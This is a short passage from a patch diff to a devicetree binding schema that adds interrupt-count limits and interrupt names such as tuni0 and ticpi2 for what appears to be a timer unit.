+- const: tuni0
+- const: tuni1
+- const: tuni2
+
+else:
+  properties:
+interrupts:
+  minItems: 2
+  maxItems: 4
+interrupt-names:
+  items:
+- const: tuni0
+- const: tuni1
+- const: tuni2
+- const: ticpi2
+
 examples:
   - |
 #include 
-- 
2.39.2